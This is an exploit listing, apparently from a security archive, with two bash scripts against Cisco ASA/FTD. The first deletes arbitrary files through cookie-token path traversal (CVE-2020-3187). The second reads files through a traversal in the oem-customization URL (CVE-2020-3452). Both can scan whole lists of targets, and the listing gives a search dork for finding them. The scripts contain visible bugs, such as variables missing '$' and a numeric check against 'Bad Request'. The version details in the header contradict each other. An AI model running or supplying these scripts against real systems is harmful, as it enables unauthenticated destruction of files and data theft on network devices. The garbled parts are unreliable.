Cisco Adaptive Security Appliance Software 9.7 Arbitrary File Deletion

Cisco Adaptive Security Appliance Software version 9.7 unauthenticated arbitrary file deletion exploit.


MD5 | 2053bb9eac204ac9b709cb174adc0f1d

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# Exploit Title: Cisco Adaptive Security Appliance Software 9.7 - Unauthenticated Arbitrary File Deletion
# Google Dork: inurl:/+CSCOE+/
# Date: 2020-08-27
# Exploit Author:  0xmmnbassel
# Vendor Homepage: https://www.cisco.com/c/en/us/products/security/asa-firepower-services/index.html#~models
# Version: Cisco ASA Software  >=9.14 except 9.11   Cisco FTD Software >=6.2.2 and 6.2.3,6.3.0,6.4.0,6.50,6.60
# Vulnerability Type: unauthenticated file deletion
# Version: Cisco ASA Software releases 9.5 and earlier, as well as
# Release 9.7, have reached end of software maintenance. Customers are
# advised to migrate to a supported release that includes the fix for
# this vulnerability.
# CVE : CVE-2020-3187

#!/bin/bash

delete="csco_logo.gif"


helpFunction()
{
echo ""
echo -e "\t\tCVE-2020-3187"
echo ""
echo "Usage: $0 -l targets.txt -d csco_logo.gif "
echo -e "\t-l for list of IPs in text file"
echo -e "\t-d file to be deleted, default: ./+CSCOE+/csco_logo.gif"
echo -e "\t-i for single IP test"
exit 1
}

while getopts "l:d:i:" opt
do
case "$opt" in
l ) input="$OPTARG" ;;
d ) delete="$OPTARG" ;;
i ) website="$OPTARG" ;;
? ) helpFunction ;;
esac
done


#if $website is empty or $input is empty
if [ -z "$website" ] && [ -z "$input" ]
then
echo "Some/all of the parameters are empty";
helpFunction
fi

#usage

if [ -z "$input"];
then
status=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
echo "checking if $website has the $delete file"
if [ $status -eq 200 ]; then
echo "$website/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
resultsindv.txt $website/+CSCOE+/session_password.html
delcheck=$(curl -LI $website/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $website is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $website/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$website/+CSCOU+/$delete doesn't exist!"
fi

else
while IFS= read -r line
do
echo "Checking $line if file $delete exist.."
#echo $response
status=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ $status -eq 200 ]; then
echo "$line/+CSCOU+/$delete exists, deleting it..."
curl -H "Cookie: token=..//+CSCOU+/$delete" -v -s -o
results.txt $line/+CSCOE+/session_password.html

#for no verbosity
#curl -H "Cookie: token=..//+CSCOU+/$delete" -s -o
results.txt $line/+CSCOE+/session_password.html
delcheck=$(curl -LI $line/+CSCOU+/$delete -o /dev/null -w
'%{http_code}\n' -s)
if [ delcheck -eq 404]; then
echo "Deleted!, $line is vulnerable to CVE-2020-3187."
else
echo "Cannot Delete $line/+CSCOU+/$delete file, check it manaully!"
fi
else
echo "$line/+CSCOU+/$delete doesn't exist!"
fi
done < "$input"


fi




#!/bin/bash


read="%2bCSCOE%2b/portal_inc.lua"


helpFunction()
{
   echo ""
   echo -e "\t\tCVE-2020-3452"
   echo ""
   echo "Usage: $0 -l targets.txt -r %2bCSCOE%2b/portal_inc.lua "
   echo -e "\t-l for list of IPs in text file"
   echo -e "\t-r file to read, default: %2bCSCOE%2b/portal_inc.lua"
   echo -e "\t-i for single IP test"
   exit 1
}

while getopts "l:r:i:" opt
do
   case "$opt" in
      l ) input="$OPTARG" ;;
      r ) read="$OPTARG" ;;
      i ) website="$OPTARG" ;;
      ? ) helpFunction ;;
   esac
done



#if $website is empty or $input is empty
if [  -z "$website"  ] && [ -z "$input" ]
then
   echo "Some/all of the parameters are empty";
   helpFunction
fi

#usage


if [ -z "$website"];
  then
  while IFS= read -r line
  do
    name=$(echo $line | cut -c9-19)
    #echo "testing $line"
    filename="$name.txt"
      #echo $response
      status=$(curl -LI  $line"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)

      if [ $status -eq "400" ]; then
        echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
      else
        wget  "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt

        if [ -s $filename ]; then
          echo "$line/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
            echo "downloaded!, $line is vulnerable to CVE-2020-3452."

        else
          echo "not vulnerable!"
          rm -rf $filename
        fi
      fi
    done < "$input"
  else

  name=$(echo $website | cut -c9-16)
  filename="$name.txt"

  status=$(curl -LI  $website"/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name="$read  -o /dev/null   -w '%{http_code}\n' -s)
  if [ $status -eq "Bad Request" ]; then
    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read doesn't exist!"
  else

    echo "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read exists, reading $read..."
    wget  "$website/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=$read" -O $name.txt
    if [ -s $filename ]; then
      echo "downloaded!, $website is vulnerable to CVE-2020-3452."
    else
      echo "not vulnerable!"
      rm -rf $filename
    fi
  fi

fi

Source: packetstormsecurity.com
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